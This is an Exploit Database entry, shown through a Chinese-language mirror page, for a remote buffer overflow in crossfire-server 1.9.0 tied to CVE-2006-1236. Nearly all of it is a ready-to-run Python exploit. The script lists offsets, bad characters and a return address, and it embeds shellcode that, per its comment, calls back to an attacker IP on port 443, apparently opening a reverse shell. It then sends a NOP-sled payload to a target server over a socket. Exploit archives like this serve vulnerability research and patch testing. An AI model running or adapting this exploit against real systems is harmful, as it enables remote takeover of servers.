crossfire-server 1.9.0 – ‘SetUp()’ Remote Buffer Overflow

• Exploit Database
• 12 阅读

• 作者： Khaled Salem
  日期： 2021-08-18
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/50216/

• # Exploit Title: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow
  # Exploit Author: Khaled Salem @Khaled0x07
  # Software Link: https://www.exploit-db.com/apps/43240af83a4414d2dcc19fff3af31a63-crossfire-1.9.0.tar.gz
  # Version: 1.9.0
  # Tested on: Kali Linux 2020.4
  # CVE : CVE-2006-1236
  
  #!/bin/python
  import socket
  import time
  
  
  # Crash at 4379
  # EIP Offset at 4368
  # Badchar \x00\x20
  # ECX Size 170
  # CALL ECX 0x080640eb
  
  size = 4379
  
  # Attacker IP: 127.0.0.1 Port: 443
  shellcode =b""
  shellcode += b"\xd9\xee\xd9\x74\x24\xf4\xb8\x60\x61\x5f\x28"
  shellcode += b"\x5b\x33\xc9\xb1\x12\x31\x43\x17\x03\x43\x17"
  shellcode += b"\x83\xa3\x65\xbd\xdd\x12\xbd\xb6\xfd\x07\x02"
  shellcode += b"\x6a\x68\xa5\x0d\x6d\xdc\xcf\xc0\xee\x8e\x56"
  shellcode += b"\x6b\xd1\x7d\xe8\xc2\x57\x87\x80\xab\xa7\x77"
  shellcode += b"\x51\x3c\xaa\x77\x50\x07\x23\x96\xe2\x11\x64"
  shellcode += b"\x08\x51\x6d\x87\x23\xb4\x5c\x08\x61\x5e\x31"
  shellcode += b"\x26\xf5\xf6\xa5\x17\xd6\x64\x5f\xe1\xcb\x3a"
  shellcode += b"\xcc\x78\xea\x0a\xf9\xb7\x6d"
  
  
  
  
  try:
  	filler = "\x90"*(4368 - 170) + shellcode+"\x90"*(170-len(shellcode))
  	EIP = "\xeb\x40\x06\x08" 
  	padding = "C" * (4379 - len(filler) - len(EIP))
  	payload = filler + EIP + padding
  	inputBuffer = "\x11(setup sound "+ payload +"\x90\x00#"
  	print("Sending Buffer with size:" + str(len(payload)))
  	s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
  	s.connect(("192.168.1.4",13327)) # Server IP Address: 192.168.1.4
  	print(s.recv(1024))
  
  	s.send(inputBuffer)
  	s.close()
  
  except:
  	print("Could not connect")
  	exit(0)